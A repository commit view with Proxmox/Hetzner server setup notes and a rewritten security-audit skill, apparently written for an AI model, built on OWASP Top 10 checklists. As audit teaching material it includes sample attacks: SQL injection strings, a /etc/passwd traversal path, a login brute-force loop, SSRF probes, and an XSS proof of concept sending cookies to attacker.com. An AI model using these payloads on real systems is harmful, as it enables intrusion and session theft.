## ZFS Tuning (128GB RAM)
### Configurar ARC Limits
```bash
# ARC max 16GB (deixa 110GB para VMs)
# ARC min 4GB
echo "options zfs zfs_arc_max=17179869184" >> /etc/modprobe.d/zfs.conf
echo "options zfs zfs_arc_min=4294967296" >> /etc/modprobe.d/zfs.conf
# Aplicar
update-initramfs -u -k all
```
### Optimizar ZFS para NVMe
```bash
# Verificar ashift (deve ser 12 para NVMe 4K sectors)
zdb -C rpool | grep ashift
# Activar compression LZ4 (se ainda nao)
zfs set compression=lz4 rpool
# Disable atime (performance)
zfs set atime=off rpool
# Snapshot visibility
zfs set snapdir=hidden rpool
```
### Criar ZFS Datasets para PBS (se HDD 16TB)
```bash
# Dataset para PBS datastore
zfs create rpool/pbs-datastore
zfs set mountpoint=/mnt/pbs-datastore rpool/pbs-datastore
zfs set compression=lz4 rpool/pbs-datastore
zfs set dedup=off rpool/pbs-datastore
```

View File

@@ -0,0 +1,120 @@
# Networking NAT e vSwitch - Proxmox Hetzner
Configuracao de rede NAT single-IP e vSwitch para Proxmox em Hetzner.
---
## Networking NAT (Single-IP Hetzner)
### Configurar /etc/network/interfaces
Template para Single-IP NAT:
```bash
auto lo
iface lo inet loopback
# Interface fisica (verificar nome com 'ip a')
auto eno1
iface eno1 inet static
address SERVER_IP/32
gateway GATEWAY_IP
pointopoint GATEWAY_IP
# Bridge interna para VMs (NAT)
auto vmbr0
iface vmbr0 inet static
address 10.10.10.1/24
bridge-ports none
bridge-stp off
bridge-fd 0
# NAT masquerading
post-up echo 1 > /proc/sys/net/ipv4/ip_forward
post-up iptables -t nat -A POSTROUTING -s '10.10.10.0/24' -o eno1 -j MASQUERADE
post-down iptables -t nat -D POSTROUTING -s '10.10.10.0/24' -o eno1 -j MASQUERADE
```
**CRITICAL Hetzner Gotchas:**
- Gateway /32 point-to-point (nao /24 ou /26)
- IP e gateway podem estar em subnets diferentes
- Verificar IP real e gateway no Hetzner Robot
### Aplicar Networking
```bash
# Test config
ifup --no-act vmbr0
# Apply
systemctl restart networking
# Verificar
ip a
ping -c 3 8.8.8.8
```
### Port Forwarding (Opcional - para expor VMs)
```bash
# Exemplo: Redirecionar porta 8080 host -> porta 80 VM 10.10.10.100
iptables -t nat -A PREROUTING -i eno1 -p tcp --dport 8080 -j DNAT --to 10.10.10.100:80
# Persistir com iptables-persistent
apt install iptables-persistent
iptables-save > /etc/iptables/rules.v4
```
---
## vSwitch Configuration
### Configurar VLAN no Robot Panel
- Hetzner Robot -> vSwitch -> Create VLAN
- Anotar VLAN ID (ex: 4000)
### Adicionar ao /etc/network/interfaces
```bash
# vSwitch interface (MTU 1400 OBRIGATORIO)
auto enp7s0.4000
iface enp7s0.4000 inet manual
mtu 1400
# Bridge vSwitch
auto vmbr1
iface vmbr1 inet static
address 10.0.0.1/24
bridge-ports enp7s0.4000
bridge-stp off
bridge-fd 0
mtu 1400
```
**CRITICAL:** MTU 1400 nao negociavel para vSwitch Hetzner.
---
## Hetzner-Specific Gotchas (CRITICAL)
### 1. MAC Filtering
**Problema:** Bridged networking com MAC nao registado = bloqueado
**Solucao aplicada:** NAT masquerading (bypass MAC filtering)
**Alternativa:** Pedir virtual MAC no Robot panel (gratis)
### 2. Gateway Point-to-Point
**Problema:** Gateway fora da subnet do IP principal
**Solucao:** `address IP/32` + `pointopoint GATEWAY` (nao /24 ou /26)
### 3. vSwitch MTU 1400
**Problema:** vSwitch Hetzner requer MTU 1400 (nao 1500 standard)
**Solucao:** Forcar `mtu 1400` em vmbr1 e enp7s0.4000
### 4. ZFS vs LVM Trade-off
**Problema:** installimage nao suporta ZFS root directo
**Solucao:** LVM para root (compatibilidade), ZFS para VMs (performance)
### 5. Kernel PVE vs Debian
**Problema:** Kernel stock Debian nao optimizado para virtualizacao
**Solucao:** Instalar proxmox-ve + remover kernel Debian

View File

@@ -1,802 +1,164 @@
---
name: security-audit
description: Security audit for web applications and servers. Identifies vulnerabilities,
misconfigurations, and provides hardening recommendations. Use when user mentions
"security audit", "auditoria segurança", "vulnerabilities", "security scan", "penetration
test".
author: Descomplicar® Crescimento Digital
version: 2.0.0
quality_score: 75
user_invocable: true
desk_task: 1480
allowed-tools: Glob
description: Auditoria de seguranca para aplicacoes web e servidores -- identificacao de vulnerabilidades, verificacao OWASP/GDPR e recomendacoes de hardening.
---
# /security-audit - Security Compliance Specialist
Auditoria de segurança seguindo padrões OWASP Top 10, GDPR e best practices Descomplicar®.
Auditoria de seguranca seguindo padroes OWASP Top 10, GDPR e best practices Descomplicar.
---
## Quando Usar
## Quando usar
- Auditar código para vulnerabilidades
- Verificar configurações de segurança servidor
- Auditar codigo para vulnerabilidades
- Verificar configuracoes de seguranca servidor
- Avaliar compliance GDPR/ISO
- Security review de aplicações
- Análise de logs de segurança
- Pentest básico (ethical hacking)
- Hardening de servidor/aplicação
- Security review de aplicacoes
- Analise de logs de seguranca
- Pentest basico (ethical hacking)
- Hardening de servidor/aplicacao
---
## Protocolo Obrigatório
## Protocolo obrigatorio
### 1. Pesquisa Inicial (SEMPRE)
### 1. Pesquisa inicial (SEMPRE)
```javascript
// Antes de qualquer audit, consultar histórico
// Antes de qualquer audit, consultar historico
await mcp__memory-supabase__search_memories({
query: "security vulnerabilidade [sistema/projecto]",
limit: 5
});
await mcp__wikijs__search_pages({
query: "security policy compliance"
});
```
### 2. Verificar Contexto
### 2. Verificar contexto
- [ ] Vulnerabilidades anteriores no sistema
- [ ] Incidentes de segurança passados
- [ ] Políticas de segurança existentes
- [ ] Incidentes de seguranca passados
- [ ] Politicas de seguranca existentes
- [ ] Compliance requirements (GDPR, ISO, etc.)
- [ ] Stack tecnológico e versões
- [ ] Stack tecnologico e versoes
---
## OWASP Top 10 (Checklist Obrigatória)
## Workflow principal
### A01 - Broken Access Control
### Passo 1: OWASP Top 10
**Verificações:**
```php
// ❌ VULNERÁVEL
if ($_GET['user_id']) {
$user = getUserById($_GET['user_id']); // Sem verificação ownership
showUserData($user);
}
Executar checklist completa por categoria. Ver detalhes e exemplos de codigo em:
// ✅ SEGURO
if ($_GET['user_id']) {
$user = getUserById($_GET['user_id']);
if ($user->id !== $currentUser->id && !$currentUser->isAdmin()) {
die('Unauthorized');
}
showUserData($user);
}
```
**-> [references/owasp-checklist.md](references/owasp-checklist.md)**
**Testes:**
- [ ] Tentar aceder recurso de outro user (`/user/123``/user/124`)
- [ ] Testar IDOR (Insecure Direct Object Reference)
- [ ] Verificar se RBAC implementado correctamente
- [ ] Path traversal (`../../../etc/passwd`)
- [ ] Forced browsing (aceder `/admin` sem autenticação)
Resumo das 10 categorias:
### A02 - Cryptographic Failures
| # | Categoria | Foco principal |
|---|-----------|----------------|
| A01 | Broken Access Control | IDOR, RBAC, path traversal |
| A02 | Cryptographic Failures | bcrypt, HTTPS, cookies seguras |
| A03 | Injection | SQL, command, template injection |
| A04 | Insecure Design | Rate limiting, MFA, session timeout |
| A05 | Security Misconfiguration | Headers, directory listing, ficheiros expostos |
| A06 | Vulnerable Components | Dependencias desactualizadas, CVEs |
| A07 | Auth Failures | Session fixation, user enum, lockout |
| A08 | Data Integrity | Deserialization, SRI, CI/CD |
| A09 | Logging Failures | Logs de acesso, retencao, alertas |
| A10 | SSRF | Whitelist de dominios, validacao URL |
**Verificações:**
```php
// ❌ VULNERÁVEL
$password = md5($_POST['password']); // MD5 é inseguro
### Passo 2: Classificar findings
// ✅ SEGURO
$password = password_hash($_POST['password'], PASSWORD_BCRYPT);
```
| Severidade | Score CVSS | Prazo correcao |
|------------|-----------|----------------|
| **Critico** | 9-10 | Imediato (<24h) |
| **Alto** | 7-8.9 | 24-48h |
| **Medio** | 4-6.9 | 7 dias |
| **Baixo** | 1-3.9 | 30 dias |
**Checklist:**
- [ ] Passwords com bcrypt/argon2 (não MD5/SHA1)
- [ ] Dados sensíveis encriptados em BD
- [ ] HTTPS em produção (não HTTP)
- [ ] Cookies com flags `Secure` e `HttpOnly`
- [ ] Sem PII em logs
**Calculo CVSS v3:** https://www.first.org/cvss/calculator/3.1
**Testes:**
```bash
# Verificar HTTPS
curl -I https://site.com | grep -i "strict-transport-security"
### Passo 3: Gerar relatorio
# Verificar cookies
curl -I https://site.com | grep -i "set-cookie"
# Deve ter: Secure; HttpOnly; SameSite=Strict
```
Usar template completo com findings, compliance OWASP, GDPR e plano de remediacao:
### A03 - Injection (SQL, Command, LDAP)
**-> [references/report-template.md](references/report-template.md)**
**Verificações SQL Injection:**
```php
// ❌ VULNERÁVEL
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
O template inclui:
- Executive summary com score global
- Findings por severidade (com evidencia e remediacao)
- Tabela OWASP Top 10 compliance
- Checklist GDPR completo (consentimento, direitos, seguranca, documentacao)
- Ferramentas SAST/DAST utilizadas
- Hardening checklists (Linux, Web Server, PHP, MySQL)
// ✅ SEGURO (Prepared Statements)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
```
### Passo 4: Hardening (se aplicavel)
**Testes:**
```sql
-- Payloads comuns
' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL, NULL, NULL--
```
**Command Injection:**
```php
// ❌ VULNERÁVEL
system("ping " . $_GET['host']);
// ✅ SEGURO
$host = escapeshellarg($_GET['host']);
system("ping $host");
```
**Checklist:**
- [ ] Prepared statements em todas as queries
- [ ] Input sanitizado antes de shell commands
- [ ] NoSQL injection prevenido (MongoDB, etc.)
- [ ] LDAP injection prevenido
- [ ] Template injection prevenido (Twig, Smarty)
### A04 - Insecure Design
**Verificações:**
- [ ] Rate limiting implementado (login, API)
- [ ] CAPTCHA em formulários públicos
- [ ] MFA disponível para contas admin
- [ ] Session timeout configurado
- [ ] Password policy forte (min 8 chars, uppercase, etc.)
**Testes:**
```bash
# Testar rate limiting
for i in {1..100}; do
curl -X POST https://site.com/login \
-d "email=test@test.com&password=wrong" &
done
# Deve bloquear após N tentativas
```
### A05 - Security Misconfiguration
**Checklist Servidor:**
```bash
# Verificar versões expostas
curl -I https://site.com | grep -i "server:"
# Não deve revelar Apache/2.4.41 ou PHP/8.1.2
# Verificar directory listing
curl https://site.com/uploads/
# Não deve listar ficheiros
# Verificar ficheiros sensíveis expostos
curl https://site.com/.env
curl https://site.com/.git/config
curl https://site.com/phpinfo.php
# Todos devem dar 403/404
```
**Headers de Segurança:**
```bash
# Verificar headers obrigatórios
curl -I https://site.com | grep -E "X-Frame-Options|X-Content-Type-Options|Content-Security-Policy|Strict-Transport-Security"
```
**Configuração Correcta:**
```nginx
# Nginx - Security Headers
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
add_header Content-Security-Policy "default-src 'self' https:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# Desactivar server tokens
server_tokens off;
```
### A06 - Vulnerable and Outdated Components
**Verificações:**
```bash
# PHP - Composer
composer audit
# Node.js
npm audit
# WordPress
wp core version
wp plugin list --format=json | jq '.[] | select(.update=="available")'
# Verificar CVEs conhecidos
curl https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress+plugin+NAME
```
**Checklist:**
- [ ] Dependências actualizadas (últimos 3 meses)
- [ ] Sem bibliotecas com vulnerabilidades conhecidas
- [ ] PHP/Node/Python versão suportada
- [ ] WordPress core e plugins actualizados
### A07 - Identification and Authentication Failures
**Verificações:**
```php
// ❌ VULNERÁVEL - Session Fixation
session_start();
// ✅ SEGURO
session_start();
session_regenerate_id(true); // Regenerar após login
```
**Checklist:**
- [ ] Session regenerate após login
- [ ] Logout invalida sessão no servidor
- [ ] Session timeout (15-30 min)
- [ ] Password reset com token expirável
- [ ] Account lockout após N tentativas falhadas
- [ ] Sem user enum (login não revela se user existe)
**Testes:**
```bash
# Testar user enumeration
curl -X POST https://site.com/login \
-d "email=naoexiste@test.com&password=wrong"
# Não deve dizer "user não existe"
# Testar session fixation
# 1. Obter PHPSESSID
# 2. Fazer login
# 3. Verificar se PHPSESSID mudou (deve mudar)
```
### A08 - Software and Data Integrity Failures
**Verificações:**
```php
// ❌ VULNERÁVEL - Insecure Deserialization
$data = unserialize($_GET['data']);
// ✅ SEGURO
$data = json_decode($_GET['data'], true);
```
**Checklist:**
- [ ] Evitar `unserialize()` de input user
- [ ] Verificar integridade de updates (signatures)
- [ ] CI/CD com verificação de dependências
- [ ] Subresource Integrity (SRI) em CDNs
**SRI Example:**
```html
<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
crossorigin="anonymous"></script>
```
### A09 - Security Logging and Monitoring Failures
**Checklist:**
- [ ] Login attempts logged (success/fail)
- [ ] Access to sensitive data logged
- [ ] Input validation failures logged
- [ ] Logs não contêm passwords ou PII
- [ ] Alertas configurados para actividade suspeita
- [ ] Retenção de logs (mínimo 90 dias)
**Logs Essenciais:**
```bash
# Nginx access log
tail -f /var/log/nginx/access.log
# PHP error log
tail -f /var/log/php/error.log
# MySQL slow query log
tail -f /var/log/mysql/slow.log
# Fail2ban log
tail -f /var/log/fail2ban.log
```
**Análise de Logs:**
```bash
# Tentativas de SQL injection
grep -i "union.*select" /var/log/nginx/access.log
# Tentativas de path traversal
grep -E "\.\./|\.\.%2F" /var/log/nginx/access.log
# Scans de vulnerabilidades
grep -E "nikto|nmap|sqlmap" /var/log/nginx/access.log
# Tentativas de login falhadas
grep "Failed password" /var/log/secure
```
### A10 - Server-Side Request Forgery (SSRF)
**Verificações:**
```php
// ❌ VULNERÁVEL
$url = $_GET['url'];
file_get_contents($url); // Pode aceder rede interna
// ✅ SEGURO
$url = $_GET['url'];
$parsed = parse_url($url);
if ($parsed['host'] !== 'allowed-domain.com') {
die('Invalid URL');
}
// Whitelist de domínios permitidos
```
**Testes:**
```bash
# Tentar aceder localhost
curl "https://site.com/fetch?url=http://localhost/admin"
# Tentar aceder rede interna
curl "https://site.com/fetch?url=http://192.168.1.1"
```
Aplicar correcoes seguindo checklists em `references/report-template.md` (seccao Hardening).
---
## Severidade de Findings
```
🔴 CRÍTICO (Score 9-10)
Exploração imediata possível, dados em risco
RCE, SQL Injection, Authentication Bypass
→ Corrigir IMEDIATAMENTE (<24h)
🟠 ALTO (Score 7-8.9)
Vulnerabilidade significativa
XSS Stored, CSRF, Insecure Deserialization
→ Corrigir em 24-48h
🟡 MÉDIO (Score 4-6.9)
Risco moderado
XSS Reflected, Information Disclosure, Missing Headers
→ Corrigir em 7 dias
🟢 BAIXO (Score 1-3.9)
Melhoria recomendada
Weak Password Policy, Verbose Errors, Outdated Libraries
→ Corrigir em 30 dias
```
**Cálculo CVSS v3:** https://www.first.org/cvss/calculator/3.1
---
## Template Relatório de Segurança
```markdown
# 🔒 RELATÓRIO DE SEGURANÇA
**Sistema:** [Nome do Sistema/Aplicação]
**Data:** [YYYY-MM-DD]
**Auditor:** Security Compliance Specialist - Descomplicar®
**Scope:** [Frontend | Backend | Infra | Full Stack]
---
## EXECUTIVE SUMMARY
[2-3 parágrafos resumindo estado de segurança global]
**Score Global:** [X]/100
**CVSS Médio:** [X.X]
**Breakdown:**
- 🔴 Críticos: [N] findings
- 🟠 Altos: [N] findings
- 🟡 Médios: [N] findings
- 🟢 Baixos: [N] findings
---
## FINDINGS
### 🔴 CRÍTICOS ([N] findings)
#### FINDING-001: SQL Injection em Login
- **Severidade:** CRÍTICO (CVSS 9.8)
- **Componente:** `login.php` linha 45
- **Categoria OWASP:** A03 - Injection
**Descrição:**
Parâmetro `username` não sanitizado, permitindo SQL injection.
**Evidência:**
```php
// Código vulnerável (login.php:45)
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";
```
**Proof of Concept:**
```bash
curl -X POST https://site.com/login \
-d "username=' OR '1'='1&password=anything"
# Resultado: acesso sem password
```
**Impacto:**
- Acesso total à base de dados
- Bypass de autenticação
- Exfiltração de dados de clientes
- Possível RCE via `INTO OUTFILE`
**Remediação:**
```php
// Usar prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
```
**Prazo:** IMEDIATO (fix em produção hoje)
**Status:** 🔴 OPEN
---
### 🟠 ALTOS ([N] findings)
#### FINDING-002: XSS Stored em Comentários
- **Severidade:** ALTO (CVSS 7.2)
- **Componente:** `comments.php`
- **Categoria OWASP:** A03 - Injection (XSS)
**Descrição:**
Input de comentários não escapa output, permitindo XSS persistente.
**Evidência:**
```html
<!-- Código vulnerável -->
<div class="comment">
<?php echo $comment->text; ?>
</div>
```
**Proof of Concept:**
```html
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie)
</script>
```
**Impacto:**
- Session hijacking
- Phishing de utilizadores
- Defacement
**Remediação:**
```php
// Escapar output
<div class="comment">
<?php echo htmlspecialchars($comment->text, ENT_QUOTES, 'UTF-8'); ?>
</div>
```
**Prazo:** 24-48h
**Status:** 🟠 OPEN
---
### 🟡 MÉDIOS ([N] findings)
[Mesmo formato]
---
### 🟢 BAIXOS ([N] findings)
[Mesmo formato]
---
## OWASP TOP 10 COMPLIANCE
| # | Categoria | Status | Findings |
|---|-----------|--------|----------|
| A01 | Broken Access Control | 🟡 Parcial | 2 médios |
| A02 | Cryptographic Failures | ✅ OK | 0 |
| A03 | Injection | 🔴 Falha | 1 crítico, 1 alto |
| A04 | Insecure Design | 🟡 Parcial | 1 médio |
| A05 | Security Misconfiguration | 🟠 Atenção | 3 altos |
| A06 | Vulnerable Components | 🟡 Parcial | 5 baixos |
| A07 | Auth Failures | ✅ OK | 0 |
| A08 | Data Integrity | ✅ OK | 0 |
| A09 | Logging Failures | 🟡 Parcial | 1 médio |
| A10 | SSRF | ✅ OK | 0 |
---
## RECOMENDAÇÕES PRIORITIZADAS
### 🔴 URGENTE (Hoje)
1. **FINDING-001:** Corrigir SQL Injection em login.php
2. **FINDING-XXX:** ...
### 🟠 IMPORTANTE (Esta Semana)
3. **FINDING-002:** Corrigir XSS em comentários
4. **FINDING-XXX:** ...
### 🟡 MELHORIAS (Este Mês)
5. **FINDING-XXX:** ...
---
## PLANO DE REMEDIAÇÃO
| Finding | Responsável | Prazo | Status |
|---------|-------------|-------|--------|
| FINDING-001 | Dev Team | 2026-02-03 | 🔴 OPEN |
| FINDING-002 | Dev Team | 2026-02-05 | 🟠 OPEN |
| ... | ... | ... | ... |
---
## COMPLIANCE GDPR
- [ ] ✅ Consentimento explícito capturado
- [ ] ✅ Direito ao esquecimento implementado
- [ ] ✅ Portabilidade de dados possível
- [ ] ⚠️ Retenção de dados definida (parcial)
- [ ] ✅ Encriptação de dados sensíveis
- [ ] ✅ Logging de acessos activo
- [ ] N/A DPO designado (não aplicável)
- [ ] ⚠️ Privacy policy actualizada (desactualizada)
**Score GDPR:** 75/100 (Parcialmente Conforme)
---
## FERRAMENTAS UTILIZADAS
- OWASP ZAP (Automated Scan)
- Manual Code Review
- Burp Suite Community
- SQLMap (SQL Injection)
- XSStrike (XSS Testing)
- Nmap (Port Scanning)
- Nikto (Web Server Scan)
---
## CONCLUSÃO
[Resumo executivo, estado global, próximos passos]
---
**Confidencial - Descomplicar® Crescimento Digital**
**Para uso interno e do cliente apenas**
```
---
## Checklist GDPR Completo
### Consentimento
- [ ] Opt-in explícito (não pré-seleccionado)
- [ ] Linguagem clara (não juridiquês)
- [ ] Granular (aceitar newsletter ≠ aceitar tracking)
- [ ] Fácil de retirar (mesma facilidade)
### Direitos do Titular
- [ ] Direito ao acesso (exportar dados)
- [ ] Direito à rectificação (editar dados)
- [ ] Direito ao esquecimento (delete account)
- [ ] Direito à portabilidade (formato standard)
- [ ] Direito à oposição (opt-out processing)
### Segurança
- [ ] Encriptação em trânsito (HTTPS)
- [ ] Encriptação em repouso (BD sensível)
- [ ] Passwords com hash forte (bcrypt)
- [ ] Logs de acesso a dados pessoais
- [ ] Notificação de breach (<72h)
### Documentação
- [ ] Privacy policy actualizada (última 12 meses)
- [ ] Cookie policy clara
- [ ] Terms of service
- [ ] Data processing agreement (DPA)
---
## Ferramentas de Análise
### Análise Estática (SAST)
## Ferramentas rapidas
```bash
# PHP - PHPStan
phpstan analyse --level=max src/
# PHP - Psalm
psalm --show-info=true
# PHP - Security Checker
local-php-security-checker
# JavaScript - ESLint
eslint --ext .js,.jsx src/
# Python - Bandit
bandit -r project/
```
### Análise Dinâmica (DAST)
```bash
# OWASP ZAP (headless)
zap-cli quick-scan -s all https://site.com
# Nikto
nikto -h https://site.com
# SQLMap
sqlmap -u "https://site.com/page?id=1" --batch
# Nmap
nmap -sV -sC site.com
# WPScan (WordPress)
wpscan --url https://site.com --api-token YOUR_TOKEN
```
### Headers HTTP
```bash
# Verificar headers de segurança
# Headers HTTP
curl -I https://site.com | grep -E "X-|Content-Security|Strict-Transport"
# SSL Labs
curl "https://api.ssllabs.com/api/v3/analyze?host=site.com"
# Dependencias PHP
composer audit
# Dependencias Node
npm audit
# WordPress
wpscan --url https://site.com --api-token YOUR_TOKEN
```
---
## Hardening Checklist
## Contexto NotebookLM
### Sistema Operativo (Linux)
- [ ] Firewall activo (iptables/firewalld)
- [ ] SELinux/AppArmor activado
- [ ] SSH com key-based auth (não password)
- [ ] SSH não permite root login
- [ ] Fail2ban instalado e configurado
- [ ] Automatic security updates
- [ ] Portas desnecessárias fechadas
Consultar ANTES de executar para contexto especializado:
### Web Server (Nginx/Apache)
- [ ] Server tokens desactivado
- [ ] Directory listing desactivado
- [ ] Security headers configurados
- [ ] SSL/TLS configurado (A+ SSL Labs)
- [ ] Apenas TLS 1.2+ (não SSL, TLS 1.0, 1.1)
- [ ] HTTP/2 activado
- [ ] Gzip/Brotli compression
| Notebook | ID | Consultar quando |
|----------|-----|-----------------|
| Ciberseguranca WordPress | 5f60adfd-2435-4725-8c12-9c11c5f51d75 | Sempre |
### PHP
- [ ] `display_errors = Off` em produção
- [ ] `expose_php = Off`
- [ ] `open_basedir` configurado
- [ ] `disable_functions` configurado
- [ ] File uploads limitados
- [ ] Memory limit apropriado
- [ ] OPcache activado
### MySQL
- [ ] Bind apenas localhost (se possível)
- [ ] Root sem acesso remoto
- [ ] Passwords fortes
- [ ] `skip-name-resolve`
- [ ] Slow query log activado
- [ ] Binary logs com retenção definida
---
## Confidencialidade
**CRÍTICO:**
- **NUNCA** expor credenciais em relatórios
- **MASCARAR** dados sensíveis (`email: *****@domain.com`)
- **RESTRINGIR** relatórios a stakeholders autorizados
- **ELIMINAR** ficheiros temporários após análise
- **ENCRIPTAR** relatórios se enviados por email
---
## Datasets Dify (Consulta Obrigatória)
Consultar para conhecimento aprofundado ou casos específicos:
| Dataset | ID | Uso |
|---------|----|----|
| **TI (Tecnologia da Informação)** | `7f63ec0c-6321-488c-b107-980140199850` | Best practices gerais |
| **Linux** | `bde4eddd-4618-402c-8bfb-bb947ed9219d` | Hardening Linux |
| **AWS (Amazon Web Services)** | `cc7f000a-ad86-49b6-b59b-179e65f8a229` | Segurança cloud |
| **CWP Centos Web Panel** | `b2a4d2c5-fe55-412c-bc28-74dbd611905d` | Hardening CWP |
**Consultar quando:**
- Implementar WAF (Web Application Firewall)
- Configurar SIEM (Security Information and Event Management)
- Compliance ISO 27001
- Pentest avançado
```javascript
// Exemplo: pesquisar hardening Nginx
mcp__notebooklm__notebook_query, mcp__dify-kb__dify_kb_retrieve_segments({
dataset_id: "7f63ec0c-6321-488c-b107-980140199850",
query: "nginx hardening security headers ssl tls",
top_k: 3
```
mcp__notebooklm__notebook_query({
notebook_id: "5f60adfd-2435-4725-8c12-9c11c5f51d75",
query: "<adaptar ao contexto de auditoria>"
})
```
---
## Changelog
## Anti-patterns
### v2.0.0 (2026-02-03)
- **ENHANCED:** Workflows detalhados para OWASP Top 10
- Template de relatório completo
- Código exemplo vulnerável vs seguro
- Payloads de teste (SQL injection, XSS, etc.)
- Checklist GDPR completo
- Hardening checklist por componente
- Ferramentas SAST/DAST documentadas
- Severidade com CVSS scoring
- Confidencialidade e handling de dados
### v1.0.0 (2026-01-27)
- Versão inicial
- OWASP Top 10 básico
- Checklist GDPR
- Ferramentas de análise
| Anti-pattern | Problema | Solucao |
|--------------|----------|---------|
| Auditar sem historico | Repetir trabalho | Consultar memoria primeiro |
| Ignorar severidade | Tudo parece urgente | Classificar com CVSS |
| Relatorio sem evidencia | Nao accionavel | Incluir PoC e remediacao |
| Expor credenciais | Fuga de dados | Mascarar PII no relatorio |
| Auditar parcialmente | Falsa seguranca | OWASP Top 10 completo |
---
**Versão:** 2.0.0 | **Autor:** Descomplicar®
**Última actualização:** 2026-02-03 (OWASP detalhado + Template completo + Hardening)
## Confidencialidade
- **Nunca** expor credenciais em relatorios
- **Mascarar** dados sensiveis (`email: *****@domain.com`)
- **Restringir** relatorios a stakeholders autorizados
- **Eliminar** ficheiros temporarios apos analise
---
## Ficheiros de referencia
## Quando NÃO Usar
- Para tarefas fora do domínio de especialização desta skill
- Quando outra skill mais específica está disponível
- Para operações que requerem confirmação manual do utilizador
## Exemplos
### Exemplo 1: Uso Básico
```
Input: [descrição da tarefa]
Output: [resultado esperado]
```
### Exemplo 2: Uso Avançado
```
Input: [caso complexo]
Output: [resultado detalhado]
```
| Ficheiro | Conteudo |
|----------|----------|
| [references/owasp-checklist.md](references/owasp-checklist.md) | OWASP Top 10 detalhado com codigo vulneravel vs seguro e testes |
| [references/report-template.md](references/report-template.md) | Template relatorio, GDPR checklist, ferramentas SAST/DAST, hardening checklists |

View File

@@ -0,0 +1,275 @@
# /security-audit - OWASP Top 10 Checklist Detalhada
Verificações e exemplos de código para cada categoria OWASP Top 10.
## A01 - Broken Access Control
**Verificações:**
```php
// ❌ VULNERÁVEL
if ($_GET['user_id']) {
$user = getUserById($_GET['user_id']); // Sem verificação ownership
showUserData($user);
}
// ✅ SEGURO
if ($_GET['user_id']) {
$user = getUserById($_GET['user_id']);
if ($user->id !== $currentUser->id && !$currentUser->isAdmin()) {
die('Unauthorized');
}
showUserData($user);
}
```
**Testes:**
- [ ] Tentar aceder recurso de outro user (`/user/123``/user/124`)
- [ ] Testar IDOR (Insecure Direct Object Reference)
- [ ] Verificar se RBAC implementado correctamente
- [ ] Path traversal (`../../../etc/passwd`)
- [ ] Forced browsing (aceder `/admin` sem autenticação)
---
## A02 - Cryptographic Failures
**Verificações:**
```php
// ❌ VULNERÁVEL
$password = md5($_POST['password']); // MD5 é inseguro
// ✅ SEGURO
$password = password_hash($_POST['password'], PASSWORD_BCRYPT);
```
**Checklist:**
- [ ] Passwords com bcrypt/argon2 (não MD5/SHA1)
- [ ] Dados sensíveis encriptados em BD
- [ ] HTTPS em produção (não HTTP)
- [ ] Cookies com flags `Secure` e `HttpOnly`
- [ ] Sem PII em logs
**Testes:**
```bash
# Verificar HTTPS
curl -I https://site.com | grep -i "strict-transport-security"
# Verificar cookies
curl -I https://site.com | grep -i "set-cookie"
# Deve ter: Secure; HttpOnly; SameSite=Strict
```
---
## A03 - Injection (SQL, Command, LDAP)
**SQL Injection:**
```php
// ❌ VULNERÁVEL
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
// ✅ SEGURO (Prepared Statements)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
```
**Testes SQL:**
```sql
-- Payloads comuns
' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL, NULL, NULL--
```
**Command Injection:**
```php
// ❌ VULNERÁVEL
system("ping " . $_GET['host']);
// ✅ SEGURO
$host = escapeshellarg($_GET['host']);
system("ping $host");
```
**Checklist:**
- [ ] Prepared statements em todas as queries
- [ ] Input sanitizado antes de shell commands
- [ ] NoSQL injection prevenido
- [ ] LDAP injection prevenido
- [ ] Template injection prevenido (Twig, Smarty)
---
## A04 - Insecure Design
**Checklist:**
- [ ] Rate limiting implementado (login, API)
- [ ] CAPTCHA em formulários públicos
- [ ] MFA disponível para contas admin
- [ ] Session timeout configurado
- [ ] Password policy forte (min 8 chars, uppercase, etc.)
**Testes:**
```bash
# Testar rate limiting
for i in {1..100}; do
curl -X POST https://site.com/login \
-d "email=test@test.com&password=wrong" &
done
# Deve bloquear após N tentativas
```
---
## A05 - Security Misconfiguration
**Checklist Servidor:**
```bash
# Verificar versões expostas
curl -I https://site.com | grep -i "server:"
# Não deve revelar Apache/2.4.41 ou PHP/8.1.2
# Verificar directory listing
curl https://site.com/uploads/
# Verificar ficheiros sensíveis expostos
curl https://site.com/.env
curl https://site.com/.git/config
curl https://site.com/phpinfo.php
# Todos devem dar 403/404
```
**Headers de Segurança:**
```nginx
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
add_header Content-Security-Policy "default-src 'self' https:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
server_tokens off;
```
---
## A06 - Vulnerable and Outdated Components
**Verificações:**
```bash
# PHP - Composer
composer audit
# Node.js
npm audit
# WordPress
wp core version
wp plugin list --format=json | jq '.[] | select(.update=="available")'
```
**Checklist:**
- [ ] Dependências actualizadas (últimos 3 meses)
- [ ] Sem bibliotecas com vulnerabilidades conhecidas
- [ ] PHP/Node/Python versão suportada
- [ ] WordPress core e plugins actualizados
---
## A07 - Identification and Authentication Failures
**Verificações:**
```php
// ❌ VULNERÁVEL - Session Fixation
session_start();
// ✅ SEGURO
session_start();
session_regenerate_id(true); // Regenerar após login
```
**Checklist:**
- [ ] Session regenerate após login
